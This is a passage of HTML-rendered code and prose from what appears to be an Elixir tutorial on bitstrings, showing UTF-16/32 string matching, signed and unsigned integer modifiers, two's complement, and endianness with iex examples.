#79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;c3&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;bar&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;c1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;c2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;c3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can change the encoding to UTF16 or UTF32, which will use 2 or 4 bytes per character:&lt;/p&gt;
&lt;pre id=&quot;code-block-22&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# With UTF16 encoding&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;rest&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;utf16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;102&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;f&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;char&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;o&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;o&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;rest&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# And with UTF32 encoding:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;rest&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;utf32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;98&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;97&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;char&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#bitstrings-vs-binaries-vs-strings&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;bitstrings-vs-binaries-vs-strings&quot;&gt;&lt;/a&gt;Bitstrings vs Binaries vs Strings&lt;/h3&gt;
&lt;p&gt;The hierarchy of strings, binaries, and bitstrings is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All strings are binaries and all binaries are bitstrings, but not all bitstrings are binaries and not all binaries are strings.&lt;/li&gt;
&lt;li&gt;Binaries are bitstrings whose bit count is divisible by 8.&lt;/li&gt;
&lt;li&gt;Strings are binaries with UTF8/16/32 encoded characters with one character being either 1, 2, or 4 bytes.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#modifiers&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;modifiers&quot;&gt;&lt;/a&gt;Modifiers&lt;/h2&gt;
&lt;p&gt;Now, let&apos;s talk about something fun. Elixir gives you superpowers for decoding numbers exactly how you need them through match &lt;code&gt;modifiers&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modifiers tell Elixir which extra steps to take when it converts the raw bits into a number. You can tell it to decode &lt;code&gt;signed&lt;/code&gt; or &lt;code&gt;unsigned&lt;/code&gt; numbers and specify the &lt;code&gt;little&lt;/code&gt; or &lt;code&gt;big&lt;/code&gt; endianness of multiple bytes.&lt;/p&gt;
&lt;p&gt;For example, here&apos;s how to decode a bitstring into a &lt;strong&gt;signed&lt;/strong&gt; integer without having to do the conversion from unsigned to signed integer yourself:&lt;/p&gt;
&lt;pre id=&quot;code-block-23&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;signed&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;156&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;int&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;100&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;156&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;int&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;156&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Elixir always displays the &lt;em&gt;unsigned&lt;/em&gt; value (&lt;code&gt;156&lt;/code&gt;), but the &lt;code&gt;int&lt;/code&gt; variable contains the correct &lt;em&gt;signed&lt;/em&gt; value (&lt;code&gt;-100&lt;/code&gt;).&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Small detour&lt;/strong&gt; ⚠️&lt;/p&gt;
&lt;p&gt;In case you&apos;re interested, this is how you can calculate the &lt;code&gt;signed&lt;/code&gt; integer value of a bitstring by hand:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take the bitstring:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+100 =&gt; 0b01100100&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-100 =&gt; 0b10011100&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check the left-most bit for the sign (positive/negative).
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; means positive, &lt;code&gt;1&lt;/code&gt; means negative&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If positive, simply convert to decimal:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+100 =&gt; 0b01100100 =&gt; 100&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If negative, invert all bits, convert to decimal, add &lt;code&gt;1&lt;/code&gt;, and apply negative sign:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-100 =&gt; 0b10011100 =&gt; 0b01100011 =&gt; 99 + 1 =&gt; 100 =&gt; -100&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This is called the two&apos;s complement method.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Detour end&lt;/strong&gt; ⚠️&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#endianness&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;endianness&quot;&gt;&lt;/a&gt;Endianness&lt;/h3&gt;
&lt;p&gt;In case you&apos;re not familiar with &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot;&gt;Endianness&lt;/a&gt;, it describes the position of the most significant byte in a sequence of bytes.&lt;/p&gt;
&lt;p&gt;But what does this actually mean? Consider this very realistic example: Imagine your partner is at the supermarket and wants to tell you the price of the grapefruits. For completely normal and not at all made-up reasons, you two can only communicate via morse code. You receive the numbers: &lt;code&gt;4, 9, 9&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, you would assume intuitively that the price per grapefruit is &lt;code&gt;4.99&lt;/code&gt;, right?&lt;/p&gt;
&lt;p&gt;But how can you be sure that your partner didn&apos;t send the digits in reverse order in which case the price would be &lt;code&gt;9.94&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Naturally and because you are completely normal people, you discussed beforehand which &lt;code&gt;endianness&lt;/code&gt; your morse code communication would have. You agreed to use &lt;code&gt;big&lt;/code&gt; endianness which means that you send the &lt;em&gt;most-significant&lt;/em&gt; bit first. For the price of grapefruit, this means sending the &lt;code&gt;4&lt;/code&gt;, the largest digit, first. That&apos;s why you know for sure that your partner meant &lt;code&gt;4.99&lt;/code&gt; and not &lt;code&gt;9.94&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You could also have used &lt;code&gt;little&lt;/code&gt; endianness. Then your partner would send the &lt;em&gt;least-significant&lt;/em&gt; bit first. So, the sequence would have been &lt;code&gt;9, 9, 4&lt;/code&gt;. To get the price, you would have to reverse the order since our decimal system puts the &lt;em&gt;most-significant&lt;/em&gt; bit first, resulting in the correct price of &lt;code&gt;4.99&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Endianness is important when you convert multiple bytes into a single number. By default, Elixir assumes &lt;code&gt;big&lt;/code&gt; endianness.&lt;/p&gt;
&lt;pre id=&quot;code-block-24&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;big&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;big&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;big&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;258&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
